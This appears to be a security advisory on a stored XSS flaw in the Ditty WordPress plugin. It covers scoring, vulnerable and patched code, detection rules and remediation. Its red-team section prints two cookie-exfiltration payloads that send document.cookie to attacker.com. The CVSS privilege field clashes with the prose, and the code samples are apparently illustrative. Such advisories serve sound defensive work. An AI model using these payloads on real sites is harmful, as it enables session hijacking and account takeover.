CVE-2024-6715

Executive Summary

CVE-2024-6715 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ditty WordPress plugin. The plugin, which provides dynamic content ticker and display functionality, re-introduced a previously fixed security issue in version 3.1.39. This flaw allows an authenticated attacker with contributor-level access or higher to inject arbitrary web scripts into pages, which will execute whenever a user accesses the compromised page. The vulnerability stems from improper neutralization of user-supplied input during output generation, specifically within the plugin's ticker content fields. Given that this is a WordPress ecosystem issue, the attack surface is broad, affecting any site using the vulnerable plugin version. The re-introduction of a known vulnerability indicates a regression in the plugin's development lifecycle.

Supply Chain & Package Security

This vulnerability affects the Ditty WordPress plugin, distributed through the official WordPress plugin repository. The re-introduction of a previously fixed vulnerability highlights a failure in the plugin's version control and regression testing processes. Users relying on automatic updates may have been exposed if they updated to version 3.1.39 or later but before 3.1.46. The supply chain risk is moderate, as the plugin is widely used for dynamic content display, and the vulnerability can be exploited by any authenticated user with contributor-level permissions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires authenticated user with contributor role)
• User Interaction: Required (victim must visit the compromised page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires an authenticated attacker with contributor-level access, but the impact is limited to script execution in the context of the victim's browser. However, the re-introduction of a known vulnerability suggests poor development practices, increasing the risk of future regressions.

Deep Dive & Mechanics

The Ditty plugin allows users to create dynamic ticker displays. The vulnerability exists in the way the plugin handles and outputs user-supplied content within ticker items. When a user with contributor-level privileges or higher creates or edits a ticker item, the plugin fails to properly sanitize or escape the input before rendering it on the frontend. This allows an attacker to inject malicious JavaScript code.

The attack flow:

1. An authenticated user with contributor role navigates to the Ditty ticker editor.
2. The attacker inserts a malicious payload, such as <script>alert('XSS')</script>, into a ticker content field.
3. The plugin stores the payload in the database without proper sanitization.
4. When any user (including administrators) visits a page displaying the ticker, the payload executes in their browser.

The re-introduction of this vulnerability in version 3.1.39 suggests that a previous fix was inadvertently removed or not properly merged during a code update. The patch in version 3.1.46 likely re-applies proper output escaping functions.

Vulnerable vs. Patched Code

Vulnerable Code (version 3.1.39 - 3.1.45):

// In ditty-ticker.php or similar
echo '<div class="ditty-item">' . $item_content . '</div>';

The $item_content variable is output directly without escaping.

Patched Code (version 3.1.46):

// In ditty-ticker.php or similar
echo '<div class="ditty-item">' . esc_html( $item_content ) . '</div>';

The esc_html() function is applied to escape HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site running Ditty plugin version 3.1.39 to 3.1.45.
• An authenticated user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in to the WordPress admin panel as a contributor.
2. Navigate to Ditty → Add New Ticker.
3. In the ticker content field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the ticker and publish it on a page or widget.
5. When an administrator or other user visits the page, the script executes, exfiltrating cookies to the attacker's server.

Alternative Payload (for session hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

• Monitor for unusual ticker content containing <script>, <iframe>, or event handlers like onerror, onload.
• Review WordPress user activity logs for suspicious ticker creation or modification by contributor-level users.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Hunting:

• Query the WordPress database for ticker posts containing script tags:

  SELECT * FROM wp_posts WHERE post_type = 'ditty_ticker' AND post_content LIKE '%<script%';
  

• Check for unexpected outbound connections from the web server to unknown domains.

Containment:

• Immediately disable the Ditty plugin if exploitation is suspected.
• Remove any malicious ticker items from the database.
• Reset all user sessions and force password changes for affected accounts.

Indicators of Compromise (IOCs)

• File Indicators:
  • Presence of the Ditty plugin version 3.1.39 to 3.1.45 in /wp-content/plugins/ditty/.
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Unusual POST requests to /wp-admin/admin-ajax.php with ticker-related actions.
• Database Indicators:
  • Rows in wp_posts with post_type = 'ditty_ticker' containing <script> tags or event handlers.
• Log Indicators:
  • WordPress debug log entries showing unescaped output warnings.
  • Web server access logs showing requests to pages with Ditty tickers containing suspicious query parameters.

Detection Engineering

YARA Rule

rule CVE_2024_6715_Ditty_XSS {
    meta:
        description = "Detects Ditty plugin files with unescaped output (CVE-2024-6715)"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6715"
    strings:
        $unescaped1 = "echo '<div class=\"ditty-item\">' . $item_content . '</div>';"
        $unescaped2 = "echo $item_content;"
        $unescaped3 = "print $item_content;"
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-6715 Ditty WordPress Plugin Stored XSS
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects exploitation attempts of Stored XSS in Ditty plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6715
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in ticker content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6715 Ditty WordPress Plugin Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ditty"; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the Ditty plugin to version 3.1.46 or later immediately.
2. If immediate update is not possible, disable the Ditty plugin until the patch can be applied.
3. Review all existing ticker content for malicious scripts and remove them.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Enforce the principle of least privilege: restrict contributor-level users from creating or editing ticker content if not necessary.
• Enable WordPress security plugins that monitor for file changes and suspicious activity.
• Regularly audit plugin updates and test in a staging environment before deploying to production.

Patch Verification:

• After updating, verify the plugin version in /wp-content/plugins/ditty/readme.txt or via the WordPress admin plugins page.
• Confirm that the esc_html() function is used in the ticker output code.

Valters IT